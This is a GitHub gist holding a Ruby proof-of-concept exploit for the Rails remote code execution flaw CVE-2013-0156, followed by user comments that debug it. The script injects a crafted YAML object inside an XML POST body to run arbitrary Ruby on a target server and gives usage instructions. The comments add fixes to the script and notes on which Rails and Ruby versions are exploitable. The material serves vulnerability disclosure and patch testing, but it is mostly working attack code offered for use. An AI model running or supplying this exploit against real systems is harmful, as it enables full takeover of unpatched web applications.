Skip to content

Instantly share code, notes, and snippets.

@postmodern
Last active July 17, 2023 11:54
Show Gist options
  • Star 90 You must be signed in to star a gist
  • Fork 36 You must be signed in to fork a gist
  • Save postmodern/4499206 to your computer and use it in GitHub Desktop.
Save postmodern/4499206 to your computer and use it in GitHub Desktop.
Proof-of-Concept exploit for Rails Remote Code Execution (CVE-2013-0156)
#!/usr/bin/env ruby
#
# Proof-of-Concept exploit for Rails Remote Code Execution (CVE-2013-0156)
#
# ## Advisory
#
# https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion
#
# ## Caveats
#
# * Does not support Ruby 1.8.7.
#
# ## Synopsis
#
# $ rails_rce.rb URL RUBY
#
# ## Dependencies
#
# $ gem install ronin-support
#
# ## Example
#
# $ rails_rce.rb http://localhost:3000/secrets/search "puts 'lol'"
#
# ### config/routes.rb
#
# resources :secrets do
# collection do
# post :search
# end
# end
#
# ### app/controllers/secrets_controller.rb
#
# def search
# @secret = secret.find_by_secret(params[:secret])
#
# render :json => @secret
# end
#
# ## License
#
# Copyright (c) 2013 Postmodern
#
# This exploit is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This exploit is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this exploit. If not, see <http://www.gnu.org/licenses/>.
#
# ## Shoutz
#
# drraid, cd, px, sanitybit, sysfail, trent, dbcooper, goldy, coderman, letch,
# starik, toby, jlt, HockeyInJune, cloud, zek, natron, amesc, postmodern,
# mephux, nullthreat, evoltech, flatline, r0bglesson, @ericmonti, @bascule,
# @charliesome, @homakov, @envygeek, @chendo, @bitsweat (for creating the vuln),
# @tenderlove (for fixing it), Fun Town Auto, garbage pail kids, hipsters,
# the old Jolly Inn, Irvin Santiago, that heavy metal dude who always bummed
# cigarettes off us, SophSec crew and affiliates.
#
require 'ronin/network/http'
require 'ronin/formatting/html'
require 'ronin/ui/output'
require 'yaml'
include Ronin::Network::HTTP
include Ronin::UI::Output::Helpers
def escape_payload(payload,target=:rails3)
case target
when :rails3 then "foo\n#{payload}\n__END__\n"
when :rails2 then "foo\nend\n#{payload}\n__END__\n"
else
raise(ArgumentError,"unsupported target: #{target}")
end
end
def wrap_payload(payload)
"(#{payload}; @executed = true) unless @executed"
end
def exploit(url,payload,target=:rails3)
escaped_payload = escape_payload(wrap_payload(payload),target)
encoded_payload = escaped_payload.to_yaml.sub('--- ','').chomp
yaml = %{
--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? #{encoded_payload}
: !ruby/struct
defaults:
:action: create
:controller: foos
required_parts: []
requirements:
:action: create
:controller: foos
segment_keys:
- :format
}.strip
xml = %{
<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">#{yaml.html_escape}</exploit>
}.strip
return http_post(
:url => url,
:headers => {
:content_type => 'text/xml',
:x_http_method_override => 'get'
},
:body => xml
)
end
if $0 == __FILE__
unless ARGV.length >= 2
$stderr.puts "usage: #{$0} URL RUBY [rails3|rails2]"
exit -1
end
url = ARGV[0]
payload = ARGV[1]
target = ARGV.fetch(2,:rails3).to_sym
print_info "POSTing #{payload} to #{url} ..."
response = exploit(url,payload,target)
case response.code
when '200' then print_info "Success!"
when '500' then print_error "Error!"
else print_error "Received response code #{response.code}"
end
end
@courtenay
Copy link

GETs are also vulnerable. (try it)

@fcoury
Copy link

fcoury commented Jan 10, 2013

Do you know the changes needed for Rails 2 apps?

@lcx
Copy link

lcx commented Jan 10, 2013

@brynary
Copy link

brynary commented Jan 10, 2013

I wrote up a detailed explanation of the Rails vulnerability here: http://blog.codeclimate.com/blog/2013/01/10/rails-remote-code-execution-vulnerability-explained/

It breaks down a proof of concept example step by step to illustrate how object injection leads to code injection.

@bachue
Copy link

bachue commented Jan 10, 2013

Can you explain to me what does "END" do in this gist? Thanks

@iostat
Copy link

iostat commented Jan 10, 2013

@bachue: Ruby has a facility for inlining data into your code. Anything after __END__ is ignored by the parser and is instead put into a special global called DATA. In this case, the named route generator does some wizardry using module_eval, and the __END__ is used to make sure that only our code is run and any other wizardry skipped.

More info on DATA and __END__: http://shifteleven.com/articles/2009/02/09/useless-ruby-tricks-data-and-__end__

@eric1234
Copy link

Can someone explain what has to happen on the server-side to make this exploit work? I have tried executing it against a production 3.2.9 app and with the "puts 'lol'" code to execute and nothing shows up on my logs. My goal is to see the exploit work, update the app to mitigate the problem, then run again to verify it is no longer exploitable.

@mjbellantoni
Copy link

I had to modify this code slightly. I removed the x_http_method_override. Also, I did not see the Ruby code execute in either instance. Here's what I saw in my server logs.

Unpatched Server

Started POST "/items" for 127.0.0.1 at 2013-01-10 12:55:34 -0500
  Processing by ItemsController#create as */*
  Parameters: {"exploit"=>#<ActionDispatch::Routing::RouteSet::NamedRouteCollection:0x007ffa1225a148>}

Patched Server

Started POST "/items" for 127.0.0.1 at 2013-01-10 12:56:14 -0500
  Processing by ItemsController#create as */*
  Parameters: {}

My changes are here: https://gist.github.com/4504388

@stevenyxu
Copy link

@eric1234 you may be running your server in a way that doesn't capture stdout. Inject something like File.open('/tmp/foo') {|f| f.write('bar')}.

@eric1234
Copy link

Still no luck. I tried using the Rails logger to write to the log file. I also tried just creating a new file like @cairo140 suggested. Here is what I see in my log:

Started GET "/home" for 76.20.208.70 at 2013-01-10 16:54:11 -0600
Processing by PagesController#show as */*
  Parameters: {"exploit"=>{"foo; open('/tmp/exploit.txt') {|f| f.write('success')}\n__END__\n"=>#<OpenStruct defaults={:action=>"create", :controller=>"foos"}, required_parts=[], requirements={:action=>"create", :controller=>"foos"}, segment_keys=[:format]>}, "id"=>12}
[....snip logs not relevant....]
Completed 200 OK in 53ms (Views: 41.3ms | ActiveRecord: 2.2ms)

@dgm
Copy link

dgm commented Jan 10, 2013

The example in this gist does not match the current edit.... and I cannot get a successful test. I would think another bit of code to run would be 'Rails.logger.debug "OUCH"'

@postmodern
Copy link
Author

@mjbellantoni turns out ronin-support HTTP.request will not send a body if Net::HTTPRequest#request_body_permitted? returns false; this has been fixed in master. So a POST and X-Http-Method-Override are required. Your first example output looks correct. The output of the injected code should appear just above the Rails Request logging output.

@postmodern
Copy link
Author

@eric1234 Checkout the lengthy write up. I tested the exploit against a Rails 3.2.9 app, but in development mode. Perhaps check the production log files? However, your example output looks incorrect, it should contain an ActionDispatch::Routing::RouteSet::NamedRouteCollection object. Is this app running on Ruby 1.8?

@eric1234
Copy link

@postmodern - I figured out why your exploit did not work for me. My Rails application is running Ruby 1.9.2 which ships with Psych 1.0.0. This version of Psych is not as magical. It will serialize into arbitrary classes for Object, String and Exception. But you always got a plain Hash object from Psych until this pull request. So if your app is running on Ruby 1.9.2 you are not AS vulnerable although I am sure a crafty person could come up with a similar exploit that serializes a subclass of Object, String or Exception and figures out how to execute code on that object.

One thing I am wondering. Since all this depends on YAML serialization of ruby objects, and since Ruby 1.8.x shipped with Syck instead of Psych. Is it as vulnerable? I took a quick look at the code and I don't think it is. All objects that can be deserialized are explicity declared and there is not magic deserialization of sub-classes. Would love someone who is better with security to confirm that. If that is the case then does that means any Rails app on 1.8 is not vulnerable. I know a lot of people have moved to 1.9 but if 1.8 is safe then that significantly cuts down on the number of apps that need to be patched.

@eric1234
Copy link

Just to followup. I did a bit more testing and Ruby 1.8 is indeed vulnerable to some of your POC scripts, but not this one for the same reason as Ruby 1.9.2. This script depends on the fact that you can unserialize any hash-like object via the ruby/hash tag. Ruby 1.9.2 and Ruby 1.8 BOTH do not allow this. You will always get back a plain Hash.

From what I can tell your symbol DOS POC would still be effective on Ruby 1.8 and Ruby 1.9.2. Also your SQL Injection should still be effective since Arel::Nodes::SqlLiteral inherits from String. Ruby 1.8 and 1.9.2 won't allow a ruby/string to be an arbitrary class. But any subclass of String (like SqlLiteral) will work.

@postmodern
Copy link
Author

@eric1234 Excellent findings! I will update the blog post.

I have also refactored the exploit to support both Rails 2 and 3. It turns out both Rails 2 and 3 provide a ActionController::Routing::RouteSet::NamedRouteCollection constant for backwards compatibility. However, the helper code that is evaluated is slightly different, so I had to require the user specify the version of Rails they wish to exploit.

Rails 2

          def #{selector}(options = nil)
            options ? #{options.inspect}.merge(options) : #{options.inspect}
          end
          protected :#{selector}

Rails 3

          remove_possible_method :#{selector}
          def #{selector}(*args)
            options = args.extract_options!
            result = #{options.inspect}

            if args.size > 0
              result[:_positional_args] = args
              result[:_positional_keys] = #{route.segment_keys.inspect}
            end

            result.merge(options)
          end
          protected :#{selector}

@postmodern
Copy link
Author

@eric1234 Just installed Ruby 1.9.2-p320 and can confirm Rails 2.x and 3.x are not vulnerable to the RCE exploit.

@bsodmike
Copy link

You need to correct the documentation above, as you're also specifying the param 'secret' in there; from what I can see this is not needed for this exploit although was used in the SQL (AREL) injection attack.

# $ rails_rce.rb http://localhost:3000/secrets/search "puts 'lol'" rails3

@postmodern
Copy link
Author

@bsodmike good eyes. Fixed.

@thatfunkymunki
Copy link

I'm getting an error:

./rails_rce.rb:92:in `exploit': undefined method `sub' for {}:Hash (NoMethodError)
        from ./rails_rce.rb:135:in `<main>'

@DeathBorn
Copy link

I also get this error

@kuboon
Copy link

kuboon commented Sep 10, 2014

encoded_payload = escaped_payload.to_yaml('').sub('--- ','').chomp

should fix the error.

@pkgaikwad
Copy link

Can anyone help me to understand this vulnerability ?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment